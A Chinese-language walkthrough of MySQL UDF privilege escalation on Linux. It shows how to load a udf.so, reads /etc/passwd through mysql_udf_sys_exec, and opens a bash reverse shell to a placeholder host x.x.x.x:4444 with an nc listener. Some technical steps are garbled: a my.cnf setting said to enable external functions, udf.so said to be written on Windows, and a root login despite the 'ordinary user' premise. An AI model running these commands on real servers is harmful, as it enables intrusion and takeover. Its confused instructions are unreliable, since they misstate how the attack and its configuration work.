Linux利用UDF库实现MySQL提权攻略
背景
MySQL是一款常用的关系型数据库管理系统,为了提升服务器安全性能,往往会限制MySQL普通用户的权限。但是,如果攻击者能够获得了MySQL普通用户的访问权限,就可以利用MySQL UDF(User Defined Function)提权,获得root权限进行控制服务器。
实现步骤
1. 获取UDF库文件
在Windows环境下编写udf.so文件,并将文件上传到Linux服务器上。
2. 设置MySQL环境
- 编辑my.cnf
# vi /etc/my.cnf
- 在文件末尾添加如下行
[mysqld]
#设置为2,启用外部函数
set-variable=local-infile=2
- 重启MySQL服务
# service mysqld restart
3. 创建测试用的udf函数
- 选择mysql库,并进行连接
# mysql -u root -p
- 创建udf库,用于存放udf函数
mysql> create database udf;
- 选择udf库
mysql> use udf;
- 导入udf库函数
mysql> source *udf.sql文件的绝对路径*;
- 查看udf库函数
mysql> show function status;
4. 测试
以查看/etc/passwd为例进行测试,执行如下命令
mysql> select mysql_udf_sys_exec('cat /etc/passwd');
可以看到返回的结果为/etc/passwd文件的内容,操作成功。
示例说明
示例一
攻击者已经获取了MySQL的普通用户权限,并上传了udf.so文件到服务器。攻击者现在需要获得服务器的root权限。
- 获取测试用的udf.so文件,并上传到服务器上的/tmp目录下。
- 进入MySQL的udf库,并创建自定义函数。
- 利用自定义函数进行反弹shell
mysql> select mysql_udf_sys_exec('bash -i >& /dev/tcp/x.x.x.x/4444 0>&1');
攻击者在自己的机器上开启一个反弹shell,并监听目标机器的4444端口。
# nc -lvnp 4444
此时攻击者在获得服务器的root权限后,可以进一步控制服务器。
示例二
攻击者已经在服务器上获得了普通用户的权限,并扫描服务器系统信息。扫描结果表明服务器上存在MySQL,攻击者意识到可以通过MySQL进行提权。
- 在本地编写udf.so文件,上传到服务器的/tmp目录下。
- 进入MySQL的udf库,并创建自定义函数。
- 利用自定义函数显示系统当前运行的进程
mysql> select mysql_udf_sys_exec('ps -ef');
攻击者可以查看结果,寻找提权通道和漏洞。
结论
通过编写udf.so文件并创建自定义函数,在MySQL的普通用户权限下进行提权攻击。因此,管理员应该严格控制MySQL的访问权限,并定期检查服务器上的udf库。只有控制用户权限和检测安全威胁才能有效保证服务器的安全。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Linux利用UDF库实现Mysql提权 - Python技术站